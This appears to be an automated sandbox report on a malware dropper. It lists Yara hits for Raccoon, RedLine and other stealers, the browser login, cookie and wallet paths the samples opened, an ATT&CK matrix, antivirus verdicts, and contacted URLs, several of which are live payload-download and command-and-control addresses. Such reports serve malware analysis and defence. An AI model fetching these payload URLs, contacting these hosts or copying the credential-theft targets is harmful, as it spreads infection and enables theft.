Source: Yara match	File source: 18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.5100000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.3.aJLVqZit29LEEhRpCpbwWX8O.exe.b329b8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.29032ce.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.851512502.0000000005100000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.820187744.0000000002A30000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.818385151.00000000028C2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.821666339.0000000002C55000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.374746010.0000000000B32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Yara detected Raccoon Stealer v2

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 21.2.S4FBxlLjDvaMdcwHZaTlWrII.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000015.00000003.540772081.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.460036355.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.521597396.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.530972605.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.465758664.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.517857013.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.489327209.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.520484407.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.543732233.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.473698984.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.475326328.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.526016673.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.487480622.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.469103943.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.480154149.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.436240829.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.523146773.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.417688363.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.504004671.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.541842621.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.483805730.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.446584412.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.444587772.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.529172533.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.467950342.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.477882930.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.429674190.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.511065028.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.446062474.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.533344638.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.419537601.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.472173375.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.470100738.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.527663624.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.524265551.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.481590933.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.476552965.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.518898959.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.515946065.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.439004330.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.672920926.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Yara detected Fabookie

Source: Yara match

File source: Process Memory Space: VSVo7xFGZNVBCHvpzHHk7X6w.exe PID: 6376, type: MEMORYSTR

Yara detected Nymaim

Source: Yara match	File source: 35.2.ccsearcher.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.ccsearcher.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.ccsearcher.exe.3530000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.ccsearcher.exe.3530000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000023.00000002.505991402.0000000000400000.00000040.00000001.01000000.0000001A.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.513194138.0000000003530000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected PrivateLoader

Source: Yara match

File source: 00000000.00000003.254312255.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\

Source: Yara match	File source: 00000012.00000002.836798113.0000000002F99000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.838175058.0000000003002000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.2a30ee8.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.5100000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.3.aJLVqZit29LEEhRpCpbwWX8O.exe.b329b8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.29023e6.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.2a30000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.29023e6.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.29032ce.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.2a30000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.2a30ee8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.5100000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.3.aJLVqZit29LEEhRpCpbwWX8O.exe.b329b8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.29032ce.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.851512502.0000000005100000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.820187744.0000000002A30000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.818385151.00000000028C2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.821666339.0000000002C55000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.374746010.0000000000B32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Yara detected Raccoon Stealer v2

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 21.2.S4FBxlLjDvaMdcwHZaTlWrII.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000015.00000003.540772081.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.460036355.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.521597396.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.530972605.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.465758664.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.517857013.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.489327209.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.520484407.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.543732233.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.473698984.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.475326328.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.526016673.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.487480622.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.469103943.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.480154149.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.436240829.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.523146773.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.417688363.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.504004671.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.541842621.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.483805730.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.446584412.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.444587772.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.529172533.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.467950342.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.477882930.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.429674190.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.511065028.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.446062474.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.533344638.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.419537601.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.472173375.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.470100738.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.527663624.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.524265551.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.481590933.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.476552965.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.518898959.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.515946065.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.439004330.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.672920926.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Yara detected Fabookie

Source: Yara match

File source: Process Memory Space: VSVo7xFGZNVBCHvpzHHk7X6w.exe PID: 6376, type: MEMORYSTR

Yara detected PrivateLoader

Source: Yara match

File source: 00000000.00000003.254312255.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	11 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	321 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	12 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	3 Command and Scripting Interpreter	4 Windows Service	1 Bypass User Access Control	1 Deobfuscate/Decode Files or Information	1 Credential API Hooking	1 Account Discovery	Remote Desktop Protocol	2 Data from Local System	Exfiltration Over Bluetooth	12 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	2 Service Execution	Logon Script (Windows)	4 Windows Service	31 Obfuscated Files or Information	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	1 Credential API Hooking	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	711 Process Injection	251 Software Packing	NTDS	257 System Information Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	224 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	761 Security Software Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Bypass User Access Control	Cached Domain Credentials	11 Process Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	22 Masquerading	DCSync	371 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	1 Modify Registry	Proc Filesystem	1 Application Window Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	371 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	3 System Owner/User Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	711 Process Injection	Network Sniffing	1 Remote System Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	1 Hidden Files and Directories	Input Capture	1 System Network Configuration Discovery	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop
Compromise Software Supply Chain	Unix Shell	Launchd	Launchd	1 Rundll32	Keylogging	Local Groups	Component Object Model and Distributed COM	Screen Capture	Exfiltration over USB	DNS			Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
fJe9em23BB.exe	54%	ReversingLabs	Win32.Backdoor.Zapchast
fJe9em23BB.exe	60%	Virustotal		Browse
fJe9em23BB.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3Y2ADQKS\yare1095[1].exe	100%	Avira	HEUR/AGEN.1249525
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9QTQHWWN\Service[1].exe	100%	Avira	HEUR/AGEN.1213251
C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	100%	Avira	HEUR/AGEN.1213251
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3Y2ADQKS\yare1095[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9QTQHWWN\Service[1].exe	100%	Joe Sandbox ML
C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\ccSearcher\ccsearcher.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3Y2ADQKS\setup331[1].exe	100%	Joe Sandbox ML

Unpacked PE Files

Source	Detection	Scanner	Label	Download
35.2.ccsearcher.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1250671	Download File
0.3.fJe9em23BB.exe.522f460.13.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
21.2.S4FBxlLjDvaMdcwHZaTlWrII.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
21.2.S4FBxlLjDvaMdcwHZaTlWrII.exe.fd02bd.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
25.2.is-L9EAU.tmp.400000.0.unpack	100%	Avira	TR/Dropper.Gen	Download File
21.0.S4FBxlLjDvaMdcwHZaTlWrII.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
17.3.3IvnW3Tihs6HZPHX18cvdMMt.exe.2194000.4.unpack	100%	Avira	TR/ATRAPS.Gen	Download File
18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1210626	Download File
18.0.aJLVqZit29LEEhRpCpbwWX8O.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1210626	Download File
37.2.rundll32.exe.4e70000.0.unpack	100%	Avira	TR/ATRAPS.Gen2	Download File
40.2.svchost.exe.1455df70000.0.unpack	100%	Avira	TR/ATRAPS.Gen2	Download File
0.3.fJe9em23BB.exe.3b99be0.29.unpack	100%	Avira	TR/Patched.Gen	Download File
39.0.svchost.exe.1de9cce0000.0.unpack	100%	Avira	TR/ATRAPS.Gen2	Download File
17.2.3IvnW3Tihs6HZPHX18cvdMMt.exe.400000.0.unpack	100%	Avira	TR/Dropper.Gen	Download File
16.0.ze5tCopHgrlItmsTQGIZcUK1.exe.970000.0.unpack	100%	Avira	HEUR/AGEN.1213251	Download File
39.2.svchost.exe.1de9cce0000.0.unpack	100%	Avira	TR/ATRAPS.Gen2	Download File
35.2.ccsearcher.exe.3530000.1.unpack	100%	Avira	HEUR/AGEN.1215503	Download File
16.2.ze5tCopHgrlItmsTQGIZcUK1.exe.970000.0.unpack	100%	Avira	HEUR/AGEN.1213251	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.hhiuew33.com/	100%	URL Reputation	malware
http://www.jiyu-kobo.co.jp/8	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/Y0	0%	URL Reputation	safe
http://www.itcfonts.	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.carterandcone.como.	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/S	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/J	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/E	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/w	0%	URL Reputation	safe
http://www.fontbureau.comoitu	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/Y0/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/n	0%	URL Reputation	safe
http://www.fontbureau.comals	0%	URL Reputation	safe
http://www.fontbureau.comM.TTF	0%	URL Reputation	safe
http://www.zhongyicts.com.cnue	0%	URL Reputation	safe
https://ipgeolocation.io/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/90	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/safe2J	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/safeSV	0%	Avira URL Cloud	safe
http://www.galapagosdesign.com/9ta	0%	Avira URL Cloud	safe
https://smartectechnologies.com/12/TrdngAnr6339.exer1	0%	Avira URL Cloud	safe
http://www.carterandcone.coml-n	0%	Avira URL Cloud	safe
http://116.203.105.117/base/api/getData.php	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/?sid=2604753&key=f85563e014035f8a1834811fdc4d123c9-90CE-806E6F6E6963	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/?sid=2601623&key=c2edd699fe4074572bde18218e447e5fal	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/?sid=2606055&key=22b91a9ea5ef2b2cf966abf82f9ff159	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/safeAW~	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/_H	0%	Avira URL Cloud	safe
http://www.fontbureau.comttvaS	0%	Avira URL Cloud	safe
http://www.hhiuew33.com:80/check/?sid=2600721&key=8b32a3670752c2f50e21ffe8ff66e6cbZ0lpSXNJQ0oxYVdRaU	0%	Avira URL Cloud	safe
https://v.xyzgamev.comww.hhiuew33.com/	0%	Avira URL Cloud	safe
https://cdn.discordapp3379129_647509278?hash=SN7Eb0mNZVaZaZD18WXSJ2cGCvK5hGrWW2za85DM8dT&dl=G42DGMZX	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/?sid=2606235&key=315782dff0fe3b3e88945c64c67cbb8a	0%	Avira URL Cloud	safe
http://212.193.30.115/	100%	Avira URL Cloud	malware
http://www.hhiuew33.com/check/?sid=2605797&key=27a1a2df4b048541a141fd73042e2ee385-A1ED-B2838757AE1B	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/?sid=2604439&key=8406bc79cb08265efab98113ce501bf6	0%	Avira URL Cloud	safe
http://www.sajatypeworks.comu-e	0%	Avira URL Cloud	safe
http://107.182.129.251/download/Service.exem	100%	Avira URL Cloud	malware
http://www.hhiuew33.com:80/check/?sid=2602337&key=94a87b1d2676e40b93d9ad652d0283f4Pq	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/(z	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/?sid=2605113&key=a	0%	Avira URL Cloud	safe
http://89.185.85.53/	0%	Avira URL Cloud	safe
http://www.fontbureau.comldef	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/sa	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/?sid=2605729&key=befb4e0f2c59d95bc6a95157b45a8050hn2KD0MA	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/j0U	0%	Avira URL Cloud	safe
https://stats.vk-portal.net	0%	Avira URL Cloud	safe
https://graph.fac	0%	Avira URL Cloud	safe
http://107.182.129.251/download/Service.exe	100%	Avira URL Cloud	malware
http://www.hhiuew33.com/check/?sid=2602105&key=31b7b0deff382c74fb69544fd112846aal	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/?sid=2606371&key=e5566572a7c8023d20e6ce450dd3aa53	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/?sid=2604025&key=96305e476386bdb22774f6b9947f02bf	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cnx%	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/safeB13N2A7ORi	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/?sid=2600721&key=8b32a3670752c2f50e21ffe8ff66e6cbu	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/?sid=2601145&key=b91e6c918507ce8fc7e06b500f3ea863sZ	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/?sid=2605797&key=27a1a2df4b048541a141fd73042e2ee3	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/?sid=2603345&key=a56d5e5f0e53c7a983c10dc0379be11a	0%	Avira URL Cloud	safe
http://www.hhiuew33.coww.hhiuew33.com/	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/?sid=2602645&key=ae85e79342b3664ea4c2f29bdcafcf5dWj	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/?sid=2605381&key=be18fc13605db7a9c2e1ebdeb3bda96b	0%	Avira URL Cloud	safe
http://www.hhiuew33.com:80/check/safe2606519&key=3a2b272a5f9274b5d5889271f55c9281Z0lpSXNJQ0oxYVdRaU9	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
v.xyzgamev.com	104.21.40.196	true	false	high
telegram.org	149.154.167.99	true	false	high
cdn.discordapp.com	162.159.130.233	true	false	high
tg8.cllgxx.com	85.209.157.230	true	false	high
sun6-21.userapi.com	95.142.206.1	true	false	high
smartectechnologies.com	91.103.219.221	true	false	high
iplogger.org	148.251.234.83	true	false	high
1landota.click	172.67.147.230	true	false	high
sun6-20.userapi.com	95.142.206.0	true	false	high
g.agametog.com	34.142.181.181	true	false	high
